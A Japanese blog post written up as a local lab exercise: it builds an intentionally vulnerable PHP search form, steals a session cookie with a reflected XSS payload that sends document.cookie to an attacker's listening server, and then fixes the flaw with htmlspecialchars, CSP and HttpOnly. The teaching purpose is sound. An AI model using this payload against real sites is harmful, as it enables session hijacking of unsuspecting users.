XSSでCookieを盗んでみた のサムネイル

XSSでCookieを盗んでみた

⏱ 約 9 分 view 586 like 0 LOG_DATE:2025-10-18
目次 / TOC

反射型クロスサイトスクリプティング (Reflected XSS) は、Web アプリケーションがユーザの入力をエスケープせず HTML に埋め込むことで、攻撃者の JavaScript が被害者のブラウザで実行されてしまう脆弱性。本実験では XAMPP 上に 意図的に脆弱な検索フォーム (PHP) を立て、ゲスト OS (Kali Linux) から攻撃ペイロードを送り込み、被害者のセッション Cookie を奪取するまでを再現する。最後に htmlspecialchars 一行で脆弱性が消える様子も確認し、「ユーザ入力を信頼しない」というセキュアコーディングの原則を体感する。

▸ 法的・倫理的注意 (実験前に必読)

本実験は 自身が管理する閉じたローカルネットワーク環境 (ホスト OS + 仮想マシン) でのみ実施可能。他者が管理する Web サイトに対して、許可なく脆弱性を探したり攻撃ペイロードを送信する行為は、電子計算機損壊等業務妨害罪 / 不正アクセス禁止法に抵触する犯罪行為。「公開サイトだから」「セキュリティ研究の名目だから」も理由にならない。意図的に脆弱に作られた練習サイト (PortSwigger Web Security Academy / HackTheBox / DVWA など) で学習するのが正解。

01

実験の流れ #

XSS は動的な Web アプリケーションにおいて、ユーザーの入力をそのままコードに組み込んでしまい、ユーザーの意図しない悪意ある振る舞いを実行させる攻撃。

今回はその XSS の一種である 反射型クロスサイトスクリプティング (Reflected XSS) を実験する。ホスト OS で XAMPP を使って Web サーバーを稼働させ、ゲスト OS として Kali を使って Cookie を取得する流れになっている。

XSS についての詳しい説明はこちらを参照。

▸ かみ砕いて言うと — XSS は「他人の声で被害者に喋らせる」

Web サイトが 「ユーザの入力をそのままページに貼り付ける」と、攻撃者は 「貼り付けられた瞬間に勝手に動く JavaScript」を仕込める。被害者のブラウザは 「これは信頼している ○○.com のサイトのコード」として実行してしまうので、ログイン状態 (Cookie) や個人情報を攻撃者のサーバへ送信するような命令でも実行される。「サイト自体は健全なのに、入力欄が信頼の入口になっている」のが XSS の怖いところ。

02

環境構築 #

この実験は、ホスト OS とゲスト OS を分離した仮想環境で行う。

ホスト OS (Windows 11 側) #

1. XAMPP の導入 — XAMPP をインストールし、Apache サーバーを起動する。

2. 脆弱なアプリの設置C:\xampp\htdocs 内に作業フォルダ (例: xss-test) を作成する。

3. ファイルの作成C:\xampp\htdocs\xss-test\ に、以下の内容で search.php を作成する。このコードは、query パラメータで受け取った値を htmlspecialchars でエスケープせずに echo しているため、反射型 XSS 脆弱性を持つ。

<html>
<head><title>脆弱な検索ページ</title></head>
<body>
    <h2>検索フォーム</h2>
    <form action="search.php" method="GET">
        <input type="text" name="query">
        <input type="submit" value="検索">
    </form>
    <hr>
    <h3>検索結果:</h3>
    <p>
    <?php
    if (isset($_GET['query'])) {
        $query = $_GET['query'];
        // ▼ 脆弱な箇所 ▼
        echo "'" . $query . "' の検索結果が見つかりました。";
    }
    ?>
    </p>

    <?php
    // 実験用のセッションCookieをセット
    session_start();
    if (!isset($_SESSION['user_id'])) {
        $_SESSION['user_id'] = 'victim_user_'. rand(1000, 9999);
    }
    echo "(あなたのセッションID: " . session_id() . ")";
    ?>
</body>
</html>

4. IP アドレスの確認 — コンソールを開き ipconfig で自身の IP アドレス (IPv4) を確認する。

ipconfig 実行結果

5. Web サーバーへアクセス — ホスト OS (Windows) のブラウザで、脆弱なアプリにアクセスする (例: http://192.168.2.100/xss-test/search.php)。すると先ほど作成した search.php が動作していることが確認できる。アクセスに成功するとブラウザに付与されたセッション ID が表示される。

脆弱な検索ページ

ゲスト OS (Kali Linux 側) #

1. 仮想マシンの起動 — VMware や VirtualBox で Kali Linux を起動する (Kali 以外でも可)。

2. ログサーバーの起動 — Cookie を受け取るための簡易 HTTP サーバーを起動する。ターミナルを開き、以下のコマンドを実行する。

# ポート8000番で簡易サーバーを起動
python3 -m http.server 8000

3. IP アドレスの確認 — 別のコンソールで ip a を実行し IP アドレスを確認。今回の場合は 192.168.2.169 だった。

Kali ip a 結果
03

攻撃の実行 #

1. 被害者の準備
ホスト OS のブラウザで脆弱なアプリにアクセスし、セッション Cookie を保存させる。
2. ペイロードの作成
Cookie を盗む JavaScript ペイロードを作成する。IP は Kali Linux の IP に置き換える。
3. 攻撃の実行
検索フォームに上記のペイロードをそのまま入力し、「検索」ボタンをクリック。

ペイロード:

<script>document.location='http://Kali_LinuxのIPアドレス:8000/steal?cookie='+document.cookie;</script>
▸ 何が起きるか

「検索」をクリックすると、サーバはペイロード文字列を HTML としてそのまま貼り付けて返す。ブラウザは返ってきた HTML を 「サイトの一部」として解釈し、<script> タグの中身を実行 → document.cookie を URL に付けて Kali のサーバへ GET リクエストを送る。被害者は「検索結果のページが表示されなかった」程度の体感だが、Cookie は既に攻撃者の手元にある。

04

結果の確認 #

「検索」をクリックすると、ホスト OS のブラウザはスクリプトを実行し、攻撃者 (Kali) の IP へリダイレクトしようとする。ブラウザ画面は「このサイトにアクセスできません」というエラー (404) になるが、これは想定通りの動作。

ゲスト OS (Kali Linux) のターミナル (python3 -m http.server が動作している画面) を確認する。以下のようなログが出力されていれば、攻撃は成功。

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.100 - - [19/Oct/2025 04:31:52] "GET /steal?cookie=PHPSESSID=kfukttotbe8hhro1for4nbp1th HTTP/1.1" 404 -

ログに、ホスト OS (192.168.2.100) からアクセスがあり、そのリクエスト (GET /steal?...) に被害者の Cookie (PHPSESSID=...) が含まれていることが確認できる。これで Cookie の奪取が完了した。

Kali 側で Cookie 取得ログ
▸ セッションハイジャックの完成

奪取した Cookie (例: PHPSESSID=...) を攻撃者のブラウザに設定すれば、被害者になりすましてログイン後のページにアクセスできる。これが セッションハイジャック。「パスワードを盗まなくても、ログイン済みの被害者の身代わりになれる」のが Cookie を盗む真の脅威。

05

脆弱性の修正 #

改めて何が起きたのかを整理すると、脆弱な search.php は、検索フォームから送られてきた文字列 (今回の場合は <script>document.location=...</script> という攻撃コード) を、何の処理もせずにそのまま HTML ページの一部としてブラウザに返していた

ブラウザは、HTML に書かれた <script> タグを「表示すべき文字」ではなく **「実行すべき命令 (スクリプト)」**として解釈してしまった。

その結果、document.location が実行され、被害者の Cookie 情報が攻撃者のサーバー (Kali Linux) に送信された。

この XSS 脆弱性は、ユーザーの入力を HTML に出力する前に htmlspecialchars 関数でサニタイズ (無害化) することで防げる。

search.php の脆弱だった箇所を以下のように修正する。

    <?php
    if (isset($_GET['query'])) {
        $query = $_GET['query'];
        
        // ▼▼▼ 脆弱性修正 ▼▼▼
        // 特殊文字をHTMLエンティティに変換する
        $safe_query = htmlspecialchars($query, ENT_QUOTES, 'UTF-8');
        
        // エスケープ処理された安全な $safe_query を出力
        echo "'" . $safe_query . "' の検索結果が見つかりました。";
        // ▲▲▲ 脆弱性修正 ▲▲▲
    }
    ?>

この修正後、再度フォームに同じペイロード (<script>...) を入力して検索すると、スクリプトは実行されず、'<script>document.location=...</script>' の検索結果が見つかりました。 のように、入力した文字列がそのまま表示されるようになる。

修正後の挙動
06

考察と対策 #

脅威・リスク #

今回の実験では、検索フォームという Web サイトでごく一般的に使用される機能が悪用された。

もし悪意のある攻撃者が、私たちが実験したのと同じような脆弱性を実際の Web サイトで発見した場合、攻撃者は巧妙に細工した URL (攻撃ペイロードを含む) を作成し、フィッシングメールや SNS の DM などで不特定多数のユーザーに送りつける。

ユーザーがその URL を「本物のサイトの URL だ」と信じてクリックしてしまうと、その瞬間にブラウザ上でスクリプトが実行され、セッション Cookie が攻撃者に盗まれてしまう

攻撃者は、盗んだ Cookie を使ってそのユーザーになりすまし、ログイン後のページ (個人情報、決済情報、機密データなど) に不正にアクセスすることが可能になる。これが セッションハイジャック

対策・対処 #

対象 対策
開発者: 出力時のエスケープ htmlspecialchars() でサニタイズ。「ユーザ入力は常にエスケープして出力する」を習慣に
開発者: Content Security Policy (CSP) HTTP ヘッダで「このサイトで実行できる JS の出所」を制限。XSS の被害を最小化
開発者: Cookie の HttpOnly フラグ Set-CookieHttpOnly を付けると JavaScript からアクセスできなくなり、document.cookie で奪えなくなる
開発者: フレームワーク標準のテンプレート Laravel Blade / React JSX など現代フレームワークはデフォルトで自動エスケープ。生 PHP / 生 echo を避ける
利用者: URL の中身を確認 メールや DM の URL に %3C (< のエンコード) や script といった文字列が含まれていないかを確認
▸ まとめ — 1 行の修正で脆弱性が消える、という重大さ

今回の攻撃は、htmlspecialchars という PHP の基本関数を 一行追加するだけで完全に防げた。これは Web アプリケーション開発において 「ユーザーからの入力はすべて信頼せず、常に出力時にエスケープ (サニタイズ) 処理を行う」というセキュアコーディングの基本原則がいかに重要かを示している。「この程度の入力なら大丈夫だろう」と慢心せず、あらゆる入力が攻撃ペイロードである可能性を意識する。現代フレームワーク (Laravel / Django / Rails) を使えばデフォルトで自動エスケープされるので、「生 echo を書かない」のが構造的な防衛になる。

𝕏 ポスト B! はてブ
Post Share LINE B!

COMMENTS 0

まだコメントはありません。最初のコメントを投稿しよう。

コメントを投稿